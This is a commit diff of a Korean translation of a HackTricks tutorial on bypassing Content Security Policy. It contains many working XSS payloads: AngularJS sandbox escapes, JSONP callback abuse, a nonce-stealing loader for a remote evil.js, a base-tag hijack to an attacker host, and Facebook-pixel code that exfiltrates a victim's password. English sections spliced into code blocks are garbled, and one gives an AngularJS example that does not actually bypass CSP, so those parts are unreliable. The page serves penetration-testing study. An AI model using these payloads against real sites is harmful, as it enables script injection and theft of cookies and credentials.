Translated ['pentesting-web/content-security-policy-csp-bypass/README.md

This commit is contained in:
Translator 2024-03-26 08:05:17 +00:00
parent df52c48cac
commit 255838de29

View file

@ -16,10 +16,10 @@ HackTricks를 지원하는 다른 방법:
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof Discord** 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터 소통하세요!
**HackenProof Discord** 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터들과 소통하세요!
**해킹 통찰**\
해킹의 스릴과 도전에 대해 탐구하는 콘텐츠에 참여하세요
**해킹 통찰**\
해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요
**실시간 해킹 뉴스**\
빠르게 변화하는 해킹 세계의 최신 뉴스와 통찰력을 유지하세요
@ -27,13 +27,15 @@ HackTricks를 지원하는 다른 방법:
**최신 공지**\
출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 알아두세요
**[디스코드](https://discord.com/invite/N3FrSbmwdy)**에 참여하여 최고의 해커들과 협업을 시작하세요!
**우리와 함께** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 가입하여 최고의 해커들과 협업을 시작하세요!
## CSP란
## CSP란 무엇인가
콘텐츠 보안 정책 (CSP)은 주로 **크로스사이트 스크립팅 (XSS)와 같은 공격으로부터 보호**하기 위한 브라우저 기술로 인식됩니다. 브라우저가 안전하게 로드할 수 있는 리소스의 경로와 소스를 정의하고 설명함으로써 작동합니다. 이러한 리소스에는 이미지, 프레임, 자바스크립트 등이 포함됩니다. 예를 들어, 정책은 동일한 도메인(self)에서 리소스의 로드와 실행을 허용할 수 있으며, 인라인 리소스 및 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통해 문자열 코드의 실행을 허용할 수 있습니다.
콘텐츠 보안 정책 (CSP)은 주로 **크로스 사이트 스크립팅 (XSS)와 같은 공격으로부터 보호**하기 위한 브라우저 기술로 인식됩니다. 브라우저가 안전하게 로드할 수 있는 리소스의 경로와 소스를 정의하고 설명함으로써 작동합니다. 이러한 리소스에는 이미지, 프레임 및 JavaScript와 같은 요소들이 포함됩니다. 예를 들어, 정책은 동일한 도메인(self)에서 리소스의 로드 및 실행을 허용할 수 있으며, 인라인 리소스 및 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통해 문자열 코드의 실행을 허용할 수 있습니다.
CSP의 구현은 **응답 헤더를 통해** 또는 **HTML 페이지에 메타 요소를 포함**하여 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 감지된 위반 사항을 즉시 차단합니다.
CSP의 구현은 **응답 헤더를 통해** 또는 **HTML 페이지에 메타 요소를 포함**시켜 수행됩니다. 이 정책을 준수하면 브라우저가 이러한 규정을 적극적으로 시행하고 감지된 위반 사항을 즉시 차단합니다.
* 응답 헤더를 통해 구현됨:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
@ -45,8 +47,8 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
CSP는 다음 헤더를 사용하여 강제하거나 모니터링할 수 있습니다:
- `Content-Security-Policy`: CSP를 강제합니다. 브라우저는 위반 사항을 차단합니다.
- `Content-Security-Policy-Report-Only`: 모니터링에 사용됩니다. 위반 사항을 차단하지 않고 보고합니다. 프리 프로덕션 환경에서 테스트하는 데 이상적입니다.
* `Content-Security-Policy`: CSP를 강제합니다. 브라우저는 위반 사항을 차단합니다.
* `Content-Security-Policy-Report-Only`: 모니터링에 사용됩니다. 위반 사항을 차단하지 않고 보고합니다. 프리 프로덕션 환경에서 테스트하는 데 이상적입니다.
### 리소스 정의
@ -65,11 +67,11 @@ object-src 'none';
### 지시문
* **script-src**: URL, 인라인 스크립트, 이벤트 핸들러 또는 XSLT 스타일시트로 트리거된 스크립트를 포함한 JavaScript에 대한 특정 소스를 허용합니다.
* **default-src**: 특정 fetch 지시문이 없는 경우 리소스를 가져오는 기본 정책을 설정합니다.
* **default-src**: 특정 fetch 지시문이 없을 때 리소스를 가져오는 기본 정책을 설정합니다.
* **child-src**: 웹 워커 및 임베디드 프레임 콘텐츠에 대한 허용된 리소스를 지정합니다.
* **connect-src**: fetch, WebSocket, XMLHttpRequest와 같은 인터페이스를 사용하여 로드할 수 있는 URL을 제한합니다.
* **frame-src**: 프레임용 URL을 제한합니다.
* **frame-ancestors**: `<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>`과 같은 요소에 적용되며 현재 페이지를 임베드 할 수 있는 소스를 지정합니다.
* **frame-ancestors**: `<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>`과 같은 요소에 적용되며 현재 페이지를 임베드할 수 있는 소스를 지정합니다.
* **img-src**: 이미지에 대한 허용된 소스를 정의합니다.
* **font-src**: `@font-face`를 사용하여 로드되는 글꼴의 유효한 소스를 지정합니다.
* **manifest-src**: 애플리케이션 매니페스트 파일의 허용된 소스를 정의합니다.
@ -80,9 +82,9 @@ object-src 'none';
* **plugin-types**: 페이지에서 호출할 수 있는 MIME 유형을 제한합니다.
* **upgrade-insecure-requests**: 브라우저에게 HTTP URL을 HTTPS로 재작성하도록 지시합니다.
* **sandbox**: `<iframe>`의 sandbox 속성과 유사한 제한을 적용합니다.
* **report-to**: 정책이 위반되면 보고될 그룹을 지정합니다.
* **report-to**: 정책이 위반될 경우 보고될 그룹을 지정합니다.
* **worker-src**: Worker, SharedWorker 또는 ServiceWorker 스크립트에 대한 유효한 소스를 지정합니다.
* **prefetch-src**: 가져오거나 사전로드 리소스에 대한 유효한 소스를 지정합니다.
* **prefetch-src**: 가져오거나 사전로드 리소스에 대한 유효한 소스를 지정합니다.
* **navigate-to**: 문서가 어떠한 방법으로든 이동할 수 있는 URL을 제한합니다 (a, form, window.location, window.open 등).
### 소스
@ -90,12 +92,12 @@ object-src 'none';
* `*`: `data:`, `blob:`, `filesystem:` 스키마를 제외한 모든 URL을 허용합니다.
* `'self'`: 동일한 도메인에서 로드를 허용합니다.
* `'data'`: 데이터 스키마를 통해 리소스를 로드할 수 있도록 허용합니다 (예: Base64로 인코딩된 이미지).
* `'none'`: 모든 소스로부터의 로드를 차단합니다.
* `'unsafe-eval'`: `eval()` 및 유사한 메서드의 사용을 허용하 보안상 권장되지 않습니다.
* `'none'`: 어떠한 소스에서도 로드를 차단합니다.
* `'unsafe-eval'`: `eval()` 및 유사한 메서드의 사용을 허용하지만 보안상 권장되지 않습니다.
* `'unsafe-hashes'`: 특정 인라인 이벤트 핸들러를 활성화합니다.
* `'unsafe-inline'`: 인라인 `<script>` 또는 `<style>`과 같은 리소스의 사용을 허용하 보안상 권장되지 않습니다.
* `'unsafe-inline'`: 인라인 `<script>` 또는 `<style>`과 같은 리소스의 사용을 허용하지만 보안상 권장되지 않습니다.
* `'nonce'`: 암호화된 nonce(일회용 번호)를 사용하여 특정 인라인 스크립트를 화이트리스트로 지정합니다.
* 페이지 내에서 사용된 nonce를 가져와 악의적인 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용된 경우, 허용된 소스가 새로운 소스를 로드할 수 있으므로 이는 필요하지 않음), 다음과 같이:
* 페이지 내에서 사용된 nonce를 가져와 악 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용된 경우, 허용된 소스가 새로운 소스를 로드할 수 있으므로 이는 필요하지 않음). 아래와 같이 사용할 수 있습니다:
<details>
@ -113,13 +115,13 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
* `'sha256-<hash>'`: 특정 sha256 해시를 가진 스크립트를 화이트리스트에 추가합니다.
* `'strict-dynamic'`: nonce 또는 해시에 의해 화이트리스트에 추가된 경우 어떤 소스에서든 스크립트를로드 할 수 있습니다.
* `'host'`: `example.com`과 같 특정 호스트를 지정합니다.
* `'host'`: `example.com`과 같 특정 호스트를 지정합니다.
* `https:`: HTTPS를 사용하는 URL로 제한합니다.
* `blob:`: Blob URL (예 : JavaScript를 통해 생성된 Blob URL)에서 리소스를로드 할 수 있습니다.
* `filesystem:`: 파일 시스템에서 리소스를로드 할 수 있습니다.
* `'report-sample'`: 위반 보고서에 위반 코드의 샘플을 포함합니다 (디버깅에 유용).
* `'strict-origin'`: 'self'와 유사하지만 소스의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다 (안전한 원본에서만 안전한 원본으로부터 리소스를로드 할 수 있음).
* `'strict-origin-when-cross-origin'`: 동일 출처 요청을 만들 때 전체 URL을 보내지만 교차 출처 요청을 만들 때는 원본만 보냅니다.
* `'strict-origin'`: 'self'와 유사하지만 소스의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다 (안전한 원본만 안전한 원본에서 리소스를로드 할 수 있음).
* `'strict-origin-when-cross-origin'`: 동일 출처 요청을 만들 때 전체 URL을 보내지만 교차 출처 요청 때는 원본만 보냅니다.
* `'unsafe-allow-redirects'`: 즉시 다른 리소스로 리디렉션될 수있는 리소스를로드 할 수 있습니다. 보안을 약화시키므로 권장되지 않습니다.
## 안전하지 않은 CSP 규칙
@ -146,7 +148,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
### strict-dynamic
만약 허용된 JS 코드가 당신의 JS 코드로 DOM에 새로운 스크립트 태그를 만들도록 할 수 있다면, 허용된 스크립트가 그것을 생성하기 때문에 **새로운 스크립트 태그가 실행되도록 허용**될 것입니다.
만약 허용된 JS 코드가 당신의 JS 코드로 DOM에 새로운 스크립트 태그를 생성하도록 할 수 있다면, 허용된 스크립트가 생성하기 때문에 **새로운 스크립트 태그가 실행 허용**될 것입니다.
### Wildcard (\*)
```yaml
@ -165,7 +167,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
```yaml
Content-Security-Policy: script-src 'self' ;
```
작동하는 payloads:
작동하는 페이로드:
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
@ -183,28 +185,57 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
그러나 서버가 **업로드된 파일을 유효성 검사**하고 특정 유형의 파일만 **업로드할 수 있도록 허용**할 가능성이 매우 높습니다.
또한, 서버가 허용하는 확장자를 사용하여 파일 내에 **JS 코드를 업로드**할 수 있더라도 (예: _script.png_), 이것만으로는 충분하지 않을 수 있습니다. 왜냐하면 Apache 서버와 같은 일부 서버는 파일의 MIME 유형을 **확장자를 기반으로 선택**하 Chrome과 같은 브라우저는 이미지여야 하는 것에 Javascript 코드를 실행하지 않도록 **거부**할 수 있습니다. "행운이라면" 실수가 있을 수 있습니다. 예를 들어, CTF에서 **Apache가** _**.wave**_ 확장자를 인식하지 못한다는 것을 배웠는데, 따라서 이를 **audio/\***와 같은 MIME 유형으로 제공하지 않습니다.
또한 서버가 허용하는 확장자를 사용하여 파일 내에 **JS 코드를 업로드**할 수 있더라도 (예: _script.png_), 이것만으로는 충분하지 않습니다. 왜냐하면 Apache 서버와 같은 일부 서버는 파일의 MIME 유형을 **확장자를 기반으로 선택**하 Chrome과 같은 브라우저는 이미지여야 하는 것에 Javascript 코드를 실행하지 않도록 **거부**할 것입니다. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 배운 바에 따르면 **Apache는** _**.wave**_ 확장자를 인식하지 못하기 때문에 **audio/\***와 같은 MIME 유형으로 제공하지 않습니다.
여기서 XSS와 파일 업로드를 찾고 **잘못 해석된 확장자**를 찾는다면 해당 확장자를 가진 파일과 스크립트의 내용을 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 다중언어 ([여기에 일부 다중언어 예제](https://github.com/Polydet/polyglot-database))를 만들어 시도할 수 있습니다.
여기서 XSS와 파일 업로드를 찾은 경우, **잘못 해석된 확장자**를 찾아 파일을 해당 확장자와 스크립트 내용으로 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 다중언어 ([여기에 일부 다중언어 예제](https://github.com/Polydet/polyglot-database))를 만들어 시도할 수 있습니다.
### Form-action
JS를 삽입할 수 없는 경우, 예를 들어 자격 증명을 빼내기 위해 **폼 액션을 삽입**해 볼 수 있습니다 (그리고 비밀번호 관리자가 자동으로 비밀번호를 채우기를 기대할 수도 있습니다). [**이 보고서에서 예제를**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) 찾을 수 있습니다. 또한 `default-src`가 폼 액션을 포함하지 않는다는 점에 유의하십시오.
### 제3자 엔드포인트 + ('unsafe-eval')
{% hint style="warning" %}
다음 페이로드 중 일부에 대해 **`unsafe-eval`이 필요하지 않을 수도** 있습니다.
다음 페이로드 중 일부에 대해 **`unsafe-eval`가 필요하지 않을 수도 있습니다**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
**Vulnerable Angular 버전을 로드하고 임의의 JS를 실행하십시오:**
# CSP Bypass with AngularJS Sandbox
## Overview
### Description
The AngularJS sandbox bypass technique allows an attacker to execute arbitrary JavaScript code on a website that uses a vulnerable version of AngularJS, even when the website has a strict Content Security Policy (CSP) in place.
### Impact
By exploiting this vulnerability, an attacker can bypass the CSP restrictions and execute malicious code on the target website, potentially leading to various attacks such as cross-site scripting (XSS) or data exfiltration.
## Exploitation
To exploit this vulnerability, follow these steps:
1. Load a vulnerable version of AngularJS on the target website.
2. Craft a payload that triggers the execution of arbitrary JavaScript code.
3. Inject the payload into a vulnerable component or endpoint on the target website.
4. Execute the payload and observe the successful bypass of the CSP restrictions.
## Example
```html
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.30/angular.js"></script>
<script>
angular.module('evilApp', []).run(function($rootScope) {
$rootScope.$eval('2+2');
});
angular.element(document).find('body').append('<img src=x onerror=alert(1)>');
</script>
```
In this example, the attacker loads a vulnerable version of AngularJS (1.2.30) and injects a payload that triggers an alert box to demonstrate the successful bypass of the CSP restrictions.
## Recommendations
To mitigate this vulnerability, ensure that your website is not using vulnerable versions of AngularJS. Regularly update your JavaScript libraries and frameworks to the latest secure versions to prevent such bypass techniques. Additionally, implement a strict CSP policy that restricts the execution of inline scripts and external resources to reduce the attack surface for potential bypasses.
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -225,10 +256,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Angular + 함수를 반환하는 라이브러리를 사용한 Payloads ([이 게시물을 확인하세요](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Angular + `window` 객체를 반환하는 함수를 포함한 라이브러리를 사용한 Payload:
{% hint style="info" %}
이 게시물은 `cdn.cloudflare.com` (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 라이브러리를 **로드**할 수 있으며, 각 라이브러리에서 추가된 모든 함수를 실행하고, **어떤 라이브러리의 어떤 함수가 `window` 객체를 반환하는지** 확인할 수 있다는 것을 보여줍니다.
이 게시물은 `cdn.cloudflare.com` (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 라이브러리를 **로드**할 수 있으며, 각 라이브러리에서 추가된 모든 함수를 실행하고, **어떤 라이브러리의 어떤 함수가 `window` 객체를 반환하는지** 확인할 수 있다.
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
@ -253,9 +284,9 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
{{[].erase.call().alert('xss')}}
</div>
```
## Angular XSS from a class name:
Angular XSS from a class name:
클래스 이름을 통한 Angular XSS:
Angular 클래스 이름에서 XSS:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -289,7 +320,17 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
### 제3자 엔드포인트 + JSONP
#### www.google.com을 이용한 오픈 리다이렉트 악용
다음 URL은 example.com으로 리다이렉트됩니다 ([여기](https://www.landh.tech/blog/20240304-google-hack-50000/)에서).
```
https://www.google.com/amp/s/example.com/
```
### Third Party Endpoints + JSONP
\*.google.com/script.google.com 남용
Google Apps Script를 남용하여 script.google.com 내부 페이지에서 정보를 수신하는 것이 가능합니다. 이는 [이 보고서](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)에서 수행된 것처럼 가능합니다.
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
@ -305,11 +346,11 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **에는 다양한 웹사이트의 CSP 우회를 위한 JSONP 엔드포인트가 준비되어 있습니다.**
**신뢰할 수 있는 엔드포인트에 Open Redirect가 포함되어 있는 경우 동일한 취약점이 발생할 것입니다**. 왜냐하면 초기 엔드포인트가 신뢰되면 리다이렉트도 신뢰받기 때문입니다.
**신뢰할 수 있는 엔드포인트에 Open Redirect가 포함되어 있는 경우 동일한 취약점이 발생**할 것입니다. 왜냐하면 초기 엔드포인트가 신뢰되면 리디렉션이 신뢰됩니다.
### 제3자 남용
[다음 게시물](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)에 설명된 대로, CSP 어딘가에서 허용된 많은 제3자 도메인들은 데이터 유출이나 JavaScript 코드 실행을 위해 남용될 수 있습니다. 일부 제3자는 다음과 같습니다:
[다음 게시물](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)에 설명된 대로, CSP 어딘가에서 허용된 많은 제3자 도메인은 데이터 유출 또는 JavaScript 코드 실행을 위해 남용될 수 있습니다. 이러한 제3자 중 일부는 다음과 같습니다:
| Entity | Allowed Domain | Capabilities |
| ----------------- | -------------------------------------------- | ------------ |
@ -332,30 +373,40 @@ Content-Security-Policy: default-src 'self www.facebook.com;
### Introduction
In some scenarios, a website may have a strict Content Security Policy (CSP) in place to prevent certain types of attacks such as XSS. However, there are ways to bypass CSP protections and execute malicious scripts on the target website.
In some scenarios, a website may have a strict Content Security Policy (CSP) in place to prevent various types of attacks such as Cross-Site Scripting (XSS). However, there are techniques that can be used to bypass CSP protections and successfully execute malicious scripts on the target website.
### Bypass Techniques
1. **Inline Script Execution**: By finding a way to execute inline scripts, attackers can bypass CSP restrictions that block inline scripts.
1. **Inline Script Execution**: By finding a way to execute inline scripts, an attacker can bypass CSP restrictions that prohibit inline script execution.
2. **Unsafe Eval**: Using `eval()` or similar functions can sometimes bypass CSP restrictions, as CSP may not be able to differentiate between legitimate and malicious uses of `eval()`.
2. **Unsafe Inline Directive**: Some websites use the `'unsafe-inline'` directive in their CSP policy to allow inline scripts. This can be exploited by an attacker to execute malicious scripts inline.
3. **Data: URL**: Loading scripts from `data:` URLs can bypass CSP restrictions, as the policy may allow data URLs.
3. **Data: URI Scheme**: The `data:` URI scheme can be used to embed external resources such as images or scripts within a web page. Attackers can leverage this technique to bypass CSP restrictions.
4. **Trusted Types Bypass**: If the website uses Trusted Types to restrict the use of dangerous functions like `eval()`, bypassing Trusted Types can lead to CSP bypass.
4. **Nonce-Based CSP Bypass**: Websites that implement CSP with a nonce (number used once) can be vulnerable to nonce reuse attacks, allowing an attacker to bypass CSP protections.
### Conclusion
### Impact
Content Security Policy (CSP) is an important security mechanism to prevent various types of attacks, but it is not foolproof. It is crucial for website owners to understand the limitations of CSP and implement additional security measures to protect their websites effectively.
Successful bypass of CSP can lead to the execution of malicious scripts on a website, potentially resulting in various attacks such as data theft, session hijacking, defacement, and more.
### Mitigation
To prevent CSP bypass attacks, website owners should:
- Avoid using `'unsafe-inline'` directive.
- Implement strict CSP policies.
- Regularly audit and update CSP configurations.
- Use nonces or hashes to validate trusted scripts.
- Utilize the `report-uri` directive to monitor and report CSP violations.
```
Content-Security-Policy: connect-src www.facebook.com;
```
1. 여기에서 Facebook 개발자 계정을 만듭니다.
2. "Facebook Login" 앱을 만들고 "웹사이트"를 선택합니다.
3. "설정 -> 기본"으로 이동하여 "앱 ID"를 가져옵니다.
4. 데이터를 유출하려는 대상 사이트에서 Facebook SDK 가젯 "fbq"를 직접 사용하여 "customEvent"와 데이터 페이로드를 통해 데이터를 유출할 수 있습니다.
5. 앱 "이벤트 관리자"로 이동하여 생성한 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events_manager2/list/pixel/\[app-id]/test\_events).
6. "테스트 이벤트" 탭을 선택하여 "당신의" 웹 사이트에서 전송된 이벤트를 확인합니다.
1. [여기](https://developers.facebook.com/)에서 Facebook 개발자 계정을 만듭니다.
2. "Facebook Login" 앱을 만들고 "Website"를 선택합니다.
3. "Settings -> Basic"로 이동하여 "App ID"를 가져옵니다.
4. 데이터를 유출하려는 대상 사이트에서 Facebook SDK 가젯 "fbq"를 사용하여 "customEvent"와 데이터 페이로드를 직접 사용하여 데이터를 유출할 수 있습니다.
5. 앱 "Event Manager"로 이동하여 만든 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events_manager2/list/pixel/\[app-id]/test\_events).
6. "Test Events" 탭을 선택하여 "당신의" 웹 사이트에서 보내는 이벤트를 확인합니다.
그런 다음 피해자 측에서 다음 코드를 실행하여 Facebook 추적 픽셀을 초기화하고 공격자의 Facebook 개발자 계정 앱 ID를 가리키도록하고 다음과 같이 사용자 정의 이벤트를 발생시킵니다:
```JavaScript
@ -364,11 +415,11 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
### 이전 표에서 지정된 다른 일곱 개의 서드파티 도메인에 대해서는 그들을 남용할 수 있는 다른 방법들이 많이 있습니다. 다른 서드파티 남용에 대한 추가 설명은 이전 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하십시오.
### 이전 표에서 지정된 다른 일곱 개의 서드파티 도메인에 대해서는 그들을 남용할 수 있는 다양한 방법이 있습니다. 다른 서드파티 남용에 대한 추가 설명은 이전 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하십시오.
### RPO (상대 경로 덮어쓰기)를 통한 우회 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
경로 제한을 우회하기 위한 앞서 언급한 리다이렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기 (RPO)라는 기술이 있습니다.
경로 제한을 우회하기 위한 이전의 리디렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기 (RPO)라는 기술이 있습니다.
예를 들어, CSP가 `https://example.com/scripts/react/` 경로를 허용한다면, 다음과 같이 우회할 수 있습니다:
```html
@ -376,9 +427,9 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
브라우저는 최종적으로 `https://example.com/scripts/angular/angular.js`를 로드합니다.
이는 브라우저에게 `https://example.com/scripts/react/` 아래에 위치한 `..%2fangular%2fangular.js`라는 파일을 로드하고 있기 때문에 작동합니다. 이는 CSP와 호환됩니다.
이는 브라우저에게 `https://example.com/scripts/react/`에 위치한 `..%2fangular%2fangular.js`라는 파일을 로드하고 있으며, 이는 CSP와 호환됩니다.
따라서 브라우저는 이를 디코딩하여 `https://example.com/scripts/react/../angular/angular.js`를 요청하게 되며, 이는 `https://example.com/scripts/angular/angular.js`와 동합니다.
따라서 브라우저는 이를 디코딩하여 `https://example.com/scripts/react/../angular/angular.js`를 요청하게 되며, 이는 `https://example.com/scripts/angular/angular.js`와 동합니다.
**브라우저와 서버 간 URL 해석의 불일치를 악용하여 경로 규칙을 우회**할 수 있습니다.
@ -392,11 +443,11 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### 누락된 **base-uri**
### **base-uri** 누락
**base-uri** 지시문이 누락된 경우 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/)을 수행할 수 있습니다.
또한, **페이지가 Nonce를 사용하여 상대 경로로 스크립트를 로드하는 경우** (예: `<script src="/js/app.js">`), **base** **tag**를 악용하여 **스크립트를 자체 서버에서 로드**하도록 만들어 **XSS를 성공시킬 수 있습니다.**\
또한, **페이지가 Nonce를 사용하여 상대 경로로 스크립트를 로드하는 경우**(`<script src="/js/app.js">`) **base** **tag**를 악용하여 **자체 서버에서 스크립트를 로드**하도록 만들어 **XSS를 성공시킬 수 있습니다.**\
취약한 페이지가 **httpS**로 로드된 경우, base에 httpS URL을 사용하십시오.
```html
<base href="https://www.attacker.com/">
@ -405,12 +456,12 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
특정 정책인 콘텐츠 보안 정책(Content Security Policy, CSP)은 JavaScript 이벤트를 제한할 수 있습니다. 그러나 AngularJS는 대체로 사용할 수 있는 사용자 정의 이벤트를 소개합니다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 참조하는 고유한 `$event` 객체를 제공합니다. 이 `$event` 객체는 CSP를 우회하는 데 악용될 수 있습니다. 특히 Chrome에서 `$event/event` 객체는 이벤트 실행 체인에 관련된 객체 배열을 보유한 `path` 속성을 갖고 있으며, 이 배열의 끝에는 항상 `window` 객체가 위치합니다. 이 구조는 샌드박스 탈출 전술에 중요합니다.
이 배열을 `orderBy` 필터로 지시하여 이를 반복하면, 터미널 요소인 `window` 객체를 활용하여 `alert()`와 같은 전역 함수를 트리거할 수 있습니다. 아래 표시된 코드 스니펫은 이 과정을 명확히 설명합니다:
이 배열을 `orderBy` 필터로 지시함으로써 배열을 반복하고, 터미널 요소(즉, `window` 객체)를 활용하여 `alert()`와 같은 전역 함수를 트리거할 수 있습니다. 아래 표시된 코드 스니펫은 이 과정을 명확히 설명합니다:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
코드 스니펫은 `ng-focus` 지시문을 사용하여 이벤트를 트리거하고, `$event.path|orderBy`를 사용하여 `path` 배열을 조작하며, `window` 객체를 활용하여 `alert()` 함수를 실행하여 `document.cookie`를 노출합니다.
이 스니펫은 `ng-focus` 지시문을 사용하여 이벤트를 트리거하고, `$event.path|orderBy`를 사용하여 `path` 배열을 조작하며, `window` 객체를 활용하여 `alert()` 함수를 실행하여 `document.cookie`를 노출합니다.
**다른 Angular 우회 방법을 찾으려면** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
@ -418,9 +469,11 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
### 작동하는 페이로드:
## CSP 정책 우회
- CSP 정책은 Angular JS 애플리케이션에서 스크립트 로딩을 위한 도메인을 화이트리스트로 지정할 수 있습니다. 이 정책은 콜백 함수의 호출 및 취약한 클래스를 통해 우회될 수 있습니다. 이 기술에 대한 자세한 정보는 [이 git 저장소](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)에서 제공되는 상세 가이드에서 확인할 수 있습니다.
Angular JS 애플리케이션에서 스크립트 로딩을 위한 도메인을 화이트리스트로 지정하는 CSP 정책은 콜백 함수의 호출과 취약한 클래스를 통해 우회될 수 있습니다. 이 기술에 대한 자세한 정보는 [이 깃 레포지토리](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)에서 제공되는 상세 가이드에서 확인할 수 있습니다.
작동하는 payloads:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -428,13 +481,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
다른 JSONP 임의 실행 엔드포인트는 [여기](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)에서 찾을 수 있습니다 (일부는 삭제되거나 수정됨)
다른 JSONP 임의 실행 엔드포인트는 [여기](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다).
### 리다이렉션을 통한 우회
CSP가 서버 측 리다이렉션을 만나면 어떻게 될까요? 리다이렉션이 다른 허용되지 않은 출처로 이어진다면 여전히 실패합니다.
그러나 [CSP 사양 4.2.2.3. 경로 및 리다이렉트](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)의 설명에 따르면, 리다이렉션이 다른 경로로 이어진다면 원래 제한을 우회할 수 있습니다.
그러나 [CSP 사양 4.2.2.3. 경로 및 리다이렉트](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)의 설명에 따르면, 리다이렉션이 다른 경로로 이어진다면 원래 제한을 우회할 수 있습니다.
다음은 예시입니다:
```html
